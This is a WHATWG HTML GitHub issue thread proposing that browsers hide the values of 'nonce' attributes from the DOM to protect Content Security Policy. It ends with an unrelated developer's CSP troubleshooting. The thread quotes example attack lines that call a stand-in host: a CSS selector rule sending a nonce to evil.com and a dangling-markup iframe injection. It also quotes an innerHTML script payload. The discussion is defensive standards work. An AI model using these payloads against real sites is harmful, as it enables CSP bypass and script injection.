whatwg/html

Consider hiding `nonce` content attributes.

mikewest opened this issue · 28 comments

We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }). Chrome is experimenting with some changes that might help mitigate this risk, which seems fairly robust:

  1. When parsing a <script> tag with a nonce attribute, copy the attribute's value in to an internal [[nonce]] slot on the element, and then overwrite the content attribute's value with the empty string.

  2. When changing the value of the content attribute (e.g. via setAttributeValue), update the value of the internal [[nonce]] slot.

  3. When running a script, pass in the [[nonce]] slot's value rather than the content attribute's value as the cryptographic nonce metadata to be used when fetching the script resource.

  4. The nonce IDL attribute on HTMLScriptElement's getter returns the value of the internal [[nonce]] slot. Its setter sets the internal [[nonce]] slot's value. This enables JavaScript to retain access to the nonce value to manually propagate trust to scripts they require.

We'd want to do the above for every element that supports a nonce attribute. Some folks on the team suggest that it might actually be nice to extend this behavior to every element. That is, move this up to Element (or Node?) rather than special-casing the three elements that currently support nonces. If we extend nonce support to other resource types (as I'm told Mozilla has already done with images?), this might be more reasonable than special-casing even more elements.

The tests associated with https://codereview.chromium.org/2628733005 and https://codereview.chromium.org/2644143005 might help explain the expectations.

@arturjanc, @mikispag, and @lweichselbaum have opinions. I hope folks like @annevk, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink also have opinions.

What is the processing model for 2? What would getAttribute("nonce") return? It seems a little cleaner if content attribute changes had no effect (other than adding a nonce content attribute with a value and such) and nonce= in markup was just a way to invoke the nonce IDL attribute setter.

Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?

What is the processing model for 2? What would getAttribute("nonce") return?

I don't care too much about 2, honestly. The idea is than an application that doesn't want to give scripts the ability to propagate the nonce has the ability to clear it out before loading scripts they don't trust as much. I guess we could support that through removeAttribute, though. I'd be happy with that instead.

Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?

Ah, thanks for finding that! I knew you'd said "Hey, shouldn't we hide the nonce?" at some point, but I couldn't find the bug. :) The refinement here is that the nonce continues to be available via the nonce IDL attribute; we're only clearing out the content attribute's value. That is, document.querySelector('script[nonce]').getAttribute('nonce') would return an empty string, while document.querySelector('script[nonce]').nonce would return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.

Should nonce "work" in the XML syntax (it would violate the XML spec, but we already do that for some things such as <template>)?

@zcorpan: What do you mean?

I mean, should the attribute value of nonce be the empty string from parsing this XML?

<html xmlns="http://www.w3.org/1999/xhtml"><script nonce="foo"/></html>

I mean, should the attribute value of nonce be the empty string from parsing this XML?

<html xmlns="http://www.w3.org/1999/xhtml"><script nonce="foo"/></html>

Got it. Yes, I'd suggest treating that in the same way. :)

Re: the discussion in w3c/webappsec-csp#65 mentioned by @annevk -- I was, sadly, wrong about that. The attacks on nonces that we were worried about relied on injecting "dangling markup" where the legitimate nonce would become part of another attribute (e.g. something like <iframe src='//evil.com/...<foo></foo> <script nonce="secret"'>) so the parsed document would not contain the nonce` attribute and hiding it would not help much. However, it's also possible to exfiltrate nonces without putting the parser in a strange state, e.g. via DOM XSS by injecting styles and using CSS selectors to match on the value of the nonce attribute; hiding the nonce from the DOM mitigates such attacks.

The approach outlined by Mike above achieves the security goal (i.e. prevents exfiltration of the nonce via CSS and any similar techniques) but also allows nonce propagation because scripts can get its value by using the IDL attribute / .nonce property of the nonced script element.

But in that discussion you also said that we'd break existing scripts. So those libraries you mention there all use the nonce IDL attribute or you plan on breaking them or what?

The simplest answer is that we plan on breaking them; more accurately, we'd require them to be refactored to first check for the presence of the IDL attribute (for UAs which make this change), and if that fails, the DOM attribute (for UAs which don't). My guess is that potential breakage is most likely limited to Google (since we're the main, if not only, user of nonce-only CSP policies) and it's something we can deal with; but it would be good to add telemetry to see if this would be a problem anywhere else.

@annevk, et al: I uploaded a strawman PR (#2373) that applies the above to <link>. If it seems like a reasonable direction, I'll extend it to <script> and <style>. We could also move it up the stack (or make it a mixin of some sort?) if that's too much duplication...

@arturjanc: I know y'all are updating Google-internal libraries to propagate nonces using the IDL attribute rather than the content attribute. Do you plan to upstream changes to external libraries as well? Do external libraries do this yet, or has strict-dynamic obviated the need for enough folks to make it irrelevant? I'm not sure what metrics you'd like me to add to Blink to measure the impact of this change. Calls to getAttribute('nonce')?

Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"? This would be an obvious failure mode that is easier to debug, where browser devtools can steer people towards using .nonce instead, and we don't end up running scripts that should not have run because the nonce was in a confusing state.

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

If not. would this cause foo.innerHTML += 'more markup' to break nonced scripts?

Correct.

But scripts inserted with innerHTML don't execute anyway (mostly to avoid executing twice when innerHTML += "..." is used).

New question. Should [[Cryptographic Nonce]] be cloned with cloneNode()?

Thanks, @zcorpan!

Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"?

As background, I think the only case in which setting a nonce value is reasonable is during creation/insertion of a new script. That is:

var s = document.createElement('script');
s.src = 'whatever';
s.nonce = 'noncey-nonce';
document.body.appendChild(s);

In that situation, I honestly wouldn't care if s.setAttribute('nonce', 'noncey-nonce') worked as well. As long as it's done before the appendChild, no problem. Setting a nonce on an element once a script has executed or a resource has loaded or whatever seems like a strange thing to do, and I don't honestly expect anyone to do it (with the exception of preventing accidental/malicious nonce propagation by intentionally removing the nonce value).

To bring in the conversation from #2373 (comment): this patch basically decouples the IDL and content attributes (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more conceptually defensible than linking the two in some cases but not in others.

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

Sure. It seems like it would be surprising to prevent that... am I missing something? In general, I'd imagined that we deal with the nonce content attribute as it exists when the element is inserted into a document, however it's inserted. I'm pretty much fine with accepting el.innerHTML = "<script nonce='yay'>alert(1);</scr" + "ipt>"; and breaking document.body.appendChild(document.querySelector('script').remove()), for example.

Should [[Cryptographic Nonce]] be cloned with cloneNode()?

Good question. Do we clone other kinds of state (e.g. parser-inserted or already-started flags?)? I don't think we do. I'd suggest we follow the behavior for those flags for this slot.

https://html.spec.whatwg.org/#script-processing-model

The cloning steps for script elements must set the "already started" flag on the copy if it is set on the element being cloned.

The other pieces of state are not cloned for script. But considering <template><script nonce="...">... I suppose it is expected that the nonce would be copied to the clone?

But considering <template><script nonce="...">... I suppose it is expected that the nonce would be copied to the clone?

I think I'd expect that, yes.

I desperately need some insight into this problem I am having. I set a nonce e.g. <script nonce="some-nonce"></script> and I can see it in page source, but when I use google developer tools to inspect the script it just shows <script nonce></script> and the script fails the CSP for the specified nonce value.
Any idea why?

After this I tried using a hash of the code as the CSP, but that didn't work either...

I have to have a bit of inline script because I am using pug which has variables passed from Express, and I have found no way of getting those values into my script when it is just a script file. Plus I need inline styles for page-load speed.

Thank you that helps. I have the script nonce working, but the style nonce is not working, despite I can see the CSP for style has the same nonce as the style has. So I am stuck again. I am also receiving:

Refused to load the image 'https://localhost:3000/images/loading-icon.png' because it violates the following Content Security Policy directive: "img-src 'self'" Despite loading from self.

I am also receiving:

Refused to load the script 'https://localhost:3000/js/client.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....

thank you. do I need a unique nonce for each script and style?

Thanks.
The image issue was because I was using upgradeInsecureRequests: true
and so when running on localhost without https it was causing this issue. These images are working now.

As for the other scripts, adding the nonce is working and the page is functional.

The inline styles are applying to the page, but I am still getting the error in the console that they are blocked by CSP. It has the same message 7-11 times, but only 1 inline style. Any idea why? I do not like these console messages but I suppose I can live with them.

Finally, some of the images aren't actually loading, so I have to look into this.

Again, thanks for helping.

It is all working now and those messages have stopped appearing.